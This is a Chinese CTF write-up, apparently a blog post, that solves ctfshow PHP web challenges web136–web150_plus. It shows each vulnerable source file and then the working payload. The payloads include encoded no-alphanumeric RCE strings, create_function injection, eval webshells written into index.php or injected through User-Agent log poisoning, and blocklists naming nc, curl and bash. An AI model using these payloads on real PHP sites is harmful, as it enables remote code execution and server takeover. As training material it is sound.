<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

解决:[[bash盲注]]

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

考点:类
解决:直接调用getFlag类即可
POST:

ctfshow=ctfshow::getFlag

web138

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

难点:strripos()函数,查找xxx在字符串中最后一次出现的位置,如果大于-1就退出函数,
就是不让用冒号了
call_user_func函数调用类的静态方法:
写法 1 (字符串形式): ClassName::methodName
写法 2 (数组形式): array('ClassName', 'methodName')

解决:使用数组形式
POST:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

考点:
弱类型比较:== 是弱类型比较。在 PHP 中,当整数和字符串比较时,字符串会被转换为整数
字符串转整数:字符串 'ctfshow' 在转换为整数时,因为不是以数字开头,会被转换成 0

解决:
$f1($f2());的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。

思路1:usleep 或 sleep
usleep没有返回值
POST:

f1=usleep&f2=usleep
f1=sleep&f2=sleep

思路2:system
system():必须包含参数,失败返回FLASE
system('FLASE'):空指令,失败返回FLASE
POST:

f1=system&f2=system

思路3:getdate
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。
所以getdate(getdate())→getdate(array型)→失败返回flase
POST:

f1=getdate&f2=getdate

思路4:md5 或 sha1
如果一次不成功,多刷新几次或者换一个 $f2 函数
POST:

f1=md5&f2=phpversion

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

解决:直接为0

?v1=0

web141

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

考点:无字母数字的RCE 、取反
解释:\W代表非单词字符(即不是 a-z, A-Z, 0-9, _ 的字符)。
v1和v2就随意填数字,v3填构造出的payload即可,
注意的是这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如+ - * 等等
总结:
v1/v2:是被迫存在的“墙壁”(数字)。
v3:是我们注入的代码。
/+ - * :是连接符。它们的作用是把两边的“数字墙壁”和中间的“代码”在语法上合理地分隔开,让 PHP 认为这是一个合法的数学运算字符串连接表达式,从而触发中间函数的执行。

解决:
[[无字母数字绕过正则表达式]]

构造:system(ls)
异或:

?v1=1&v2=1&v3=/+("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
?v1=1&v2=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

或:

?v1=1&v2=1&v3=/+("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

取反:

?v1=1&v2=1&v3=/+(~%8C%86%8C%8B%9A%92)(~%93%8C);

构造:system(cat flag.php)
或:

?v1=1&v2=1&v3=-("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60");

其他的类似

web143

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

难点:不能用分号
解决:最后用*作为连接符,使用异或方式

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%06%0c%01%07%01%0f%08%0f"^"%60%60%20%60%60%60%60%2f%7f%60%7f")*

web144

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

换v2了

?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%60%60%60%60%2e%7b%60%7b");

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

难点:/+ - * 连接符都不能用了
解决:可以使用三目运算符符号、|

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)|
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%93%8C):

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

解决:只能用|

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%93%8C)|

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }
}

考点:[[php create_function]]
^匹配开头的字符串
[a-z0-9_]匹配任意字母数字下划线
*一次或者多次
$匹配结尾字符串
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行
匹配开头不包含字母或者数字的符号
解决:
匹配开头不包含字母或者数字的符号利用\绕过
GET:

?show=echo "666";}system("cat f*");/*

POST:

ctf=\create_function

参数部分为空,方法代码部分用;}闭合

web148

#什么是变量?
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

异或,运行get_ctfshow_fl0g()

?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();

web149

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

解释:
scandir() 列出指定路径中的文件和目录
unlink() 删除文件

难点:不是index.php就会被删除
解决:那么把一句话写进index.php
GET:

?ctf=index.php

POST:

show=<?php phpinfo();eval($_POST[0]);?>

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

$isVIP && strrpos($ctf, ":")===FALSE
[[php 运算优先级]]
解决:
isvip=1
strrpos($ctf, ":")===FALSE

GET:

?isVIP=1

POST:

ctf=/var/log/nginx/access.log

User-Agent:

<?php @eval($_POST[1]);?>

WEB入门——php特性-5.png

web150_plus

 <?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

难点:排除了log字符,所以不能使用日志包含
解决:
__autoload(),尝试加载未定义的类
可以通过定义这个函数来启用类的自动加载

GET:

?..CTFSHOW..=phpinfo

原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖
因为CTFSHOW是类就会使用 __autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo

1.代码执行 class_exists($__CTFSHOW__)
2.我们已经通过变量覆盖将 $__CTFSHOW__ 的值设为 'phpinfo'。
3.PHP 检查是否存在名为 phpinfo 的类。
4.显然,phpinfo 是个内置函数,不是类,所以不存在。
5.当 class_exists 找不到类时,PHP 会尝试调用魔术函数 __autoload($class_name) 来自动加载这个类。
6.触发漏洞:__autoload('phpinfo') 被调用。
7.进入 __autoload 函数内部,执行 $class(),也就是执行了 phpinfo()

posted @ 2026-06-12 20:31  Cava1i  阅读(11)  评论(0)    收藏  举报